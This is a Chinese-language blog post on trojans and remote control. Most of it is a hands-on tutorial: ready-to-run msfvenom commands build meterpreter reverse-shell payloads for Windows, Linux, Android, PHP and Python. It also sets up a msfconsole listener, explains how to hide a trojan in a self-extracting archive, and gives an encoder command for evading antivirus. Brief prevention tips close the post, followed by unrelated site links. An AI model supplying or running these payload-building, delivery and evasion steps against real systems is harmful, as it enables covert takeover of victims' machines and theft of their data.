浅谈木马

简介: 浅谈木马

浅谈木马远控
在听过某网安教育关于浅谈的公开课后,结合本人学过的东西,以及自己实践过的经历。在此分享下木马对我们的影响。

环境:

攻击者:kali

目标主机:Windows

一、了解木马

1.木马,又称为特洛伊木马

特洛伊木马(Trojan Horse),这个名字源于公元前十二世纪希腊与特洛伊之间的一场战争。古希腊围攻特洛伊许久却无法攻下,于是有人想到了个办法。制作了一个很高很大的木马作为战神马,内部可装士兵,佯攻几天后装作无功而返,留下木马。特洛伊解围后认为自己胜利了,还看到了敌人留下的木马,便作为战利品收入城中,全城举杯庆祝。到了午夜时分,藏匿于木马中的士兵便打开了城门,四处纵火,城外伏兵涌入,很容易便得到了城池。 在如今,我们常将寄宿在计算机中的未授权的远程控制程序称为特洛伊木马。它可以计算机管理员未发觉的情况下执行命令、泄露用于信息、甚至可以窃取管理员用户权限。如今已成为黑客常用的工具之一。

2.木马原理、结构

原理:特洛伊木马是一道程序,藏匿于计算机中,通过对开启计算机的某一端口进行监听,在接受到数据后进行识别,再对计算机执行相应的操作。

其本质是占用一个端口与攻击者进行通信的网络程序。

结构:

(1)客户端

客户端程序

客户端程序是攻击者的控制台,它负责远程遥控指挥。

(2)服务器端

服务器端程序

服务器端程序即木马程序,它隐藏安装在目标主机上,目标主机也称为肉鸡。

二、制作简易木马

此处我们利用msfvenom制作木马程序。

Windows木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.520.520 lport=4444 -f exe -o muma.exe

-p 载荷(payload),用于反弹shell

lhost= 这里写的是攻击者的IP

lport= 这里写的是攻击者主机上用于监听的端口(任意未被占用的端口)

-f 文件类型

-o 输出的文件名

Linux木马

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.520.520 lport=4444 -f elf -o muma.elf

android木马

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.520.520 lport=4444 -o muma.apk

php木马

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.520.520 lport=4444 -f raw -o muma.php

python木马

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.520.520 lport=4444 -f raw -o muma.py

利用msfvenom制作木马时,选择payload和文件类型需要注意。

三、木马的危害

由于本文探讨木马远控,这里就暂时省略文件上传、命令执行下载木马等方式将木马传入目标主机的讨论。

这里我们直接将制作好的木马放在一个Windows主机中(网络互通),然后在客户端(攻击者)利用msfconsole开启监听

msfconsole

use exploit/multi/handler #进入监听模块

set payload windows/meterpreter/reverse_tcp #加载payload模块

set lhost 本机IP

set lport 4444

exploit/run

开启监听后,我们在目标主机上运行一下木马程序。

此时我们可以看到已经连接上了木马程序。

当我们的电脑被木马控制后,我们电脑中的信息可能会被泄露,包括系统信息、用户存储在电脑上的数据信息等。

除过电脑上的信息可能会被攻击者窃取,攻击者还可能控制电脑对数据进行删改,可以上传和下载文件,盗取计算机中的密码等操作。甚至可以以感染了木马的主机为跳板,攻击该网络下的其他主机等操作。

可能到了这里有人会觉得这些木马很简单,很容易就被目标发现。

攻击者想要在不被发现的情况下在目标主机上种下木马,可以进行木马捆绑、免杀、伪装等操作。

木马捆绑:

制作自解压木马(准备一个木马、一个图片、一个压缩软件即可)

攻击者可以制作一个自解压木马,诱导目标解压压缩包。在目标解压压缩文件的同时会运行压缩文件里的木马程序,从而被控制。(当你从一些奇怪的地方下载了一些奇怪的压缩包的时候,可能这个压缩包里面就捆绑了木马,当你一解压,它会自动运行里面的木马程序。)

可能很多时候我们的杀毒软件够强大,可以检测到捆绑了木马的压缩文件。然而攻击者还有方法。

木马免杀:

攻击者可以对木马程序进行一些免杀操作,从而绕过一些防护软件。

常用到的免杀方法有:编码加密、加壳(压缩算法)、利用一些工具进行免杀等。

在利用msfvenom制作木马时,可以使用-e x86/shikata_ganai参数进行加密。

Msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ganai -i 30 -b ’\x00’ lhost=hackIP lport=4444 -f exe -o muma.exe

-e 编码的方式 -i 编码次数 -b不使用十六进制00

一些其他的编码方式,可以使用msfvenom -l encoders命令查看

四、木马防护

1.木马的传播途径

(1)利用下载进行传播

(2)利用系统漏洞传播

(3)利用邮件传播

(4)利用即使通信传播

(5)利用网页传播

(6)利用蠕虫病毒传播等

2.木马的防范与查杀

(1)首先安装杀毒软件

(2)不执行奇怪的软件,使用的软件尽量从官方下载安装

(3)不随便打开奇怪的邮件

(4)尽量少使用或者不使用共享文件夹

(5)不点击奇怪的链接等

本文只是简单讨论下木马远控,为了提高自己和身边亲友的安全意识,后期会有对木马的深入探讨。本文可能会有很多遗漏的地方和不对的地方,欢迎各位大佬指点,文中很多是个人观点,也欢迎各位朋友发表自己的观点看法。

目录
相关文章
|
JavaScript 前端开发
JS中oninput和onchange事件的区别
JS中oninput和onchange事件的区别
|
10月前
|
人工智能 C++
【AI大模型面试宝典十一】- 评估应用篇
【AI大模型面试宝典】聚焦高频考点,拆解核心原理!涵盖基础能力、对齐与效率评估,详解MMLU、C-Eval、HumanEval等基准,教你应对幻觉检测、指标设计等面试难题。代码实操+避坑指南,助你精准拿分,offer到手!点赞关注,持续更新中→ #大模型面试 #AI求职
480 0
|
弹性计算 编解码 大数据
性价比最高提升50%!阿里云企业级云服务器上新
阿里云ECS云服务器推出全新升级的u2系列实例,包括基于Intel的u2i实例与首个基于AMD的u2a实例,提供企业级独享算力,综合性价比最高提升50%。u2i实例已开放公测,适用于中小型数据库、企业网站建设等场景。同时发布基于AMD的第九代旗舰实例g9ae,性能提升65%,适用于大数据、视频转码等密集型业务。
900 0
|
弹性计算 前端开发 NoSQL
2025最新阿里云服务器配置选择攻略:CPU、内存、带宽与系统盘全解析
本文详解2025年阿里云服务器ECS配置选择策略,涵盖CPU、内存、带宽与系统盘推荐,助你根据业务需求精准选型,提升性能与性价比。
|
并行计算 PyTorch 算法框架/工具
基于CUDA12.1+CUDNN8.9+PYTORCH2.3.1,实现自定义数据集训练
文章介绍了如何在CUDA 12.1、CUDNN 8.9和PyTorch 2.3.1环境下实现自定义数据集的训练,包括环境配置、预览结果和核心步骤,以及遇到问题的解决方法和参考链接。
1340 5
基于CUDA12.1+CUDNN8.9+PYTORCH2.3.1,实现自定义数据集训练
|
Ubuntu 网络协议 Unix
02理解网络IO:实现服务与客户端通信
网络IO指客户端与服务端通过网络进行数据收发的过程,常见于微信、QQ等应用。本文详解如何用C语言实现一个支持多客户端连接的TCP服务端,涉及socket编程、线程处理及通信流程,并分析“一消息一线程”模式的优缺点。
761 0
|
安全 网络安全 数据安全/隐私保护
ansible 建立ssh信任并分发到各个机器
ansible 建立ssh信任并分发到各个机器
605 0
|
图形学
Unity时间转换方式
**时间戳与 DateTime 的转换简介** 时间戳是从1970年1月1日00:00:00起的秒数,可转为 DateTime 对象。DateTime 转时间戳则是计算与1970年1月1日的时间差。秒数与时分秒格式互转基于60进制换算规则。Unity 中可通过 Time 类处理游戏时间,并与其他时间格式进行换算,需考虑时区等差异。示例代码展示了 Unity 中计时器的实现及总用时转换成时分秒的两种方法。
1151 10
|
数据可视化 开发者 索引
详解Wireshark LUA插件函数:function p_myproto.dissector(buffer, pinfo, tree)
在 Wireshark 中,LUA 插件通过 `function p_myproto.dissector(buffer, pinfo, tree)` 扩展协议解析能力,解析自定义应用层协议。参数 `buffer` 是 `PacketBuffer` 类型,表示原始数据包内容;`pinfo` 是 `ProtoInfo` 类型,包含数据包元信息(如 IP 地址、协议类型等);`tree` 是
1235 1
QML 界面切换的方法
QML 界面切换的方法
1380 1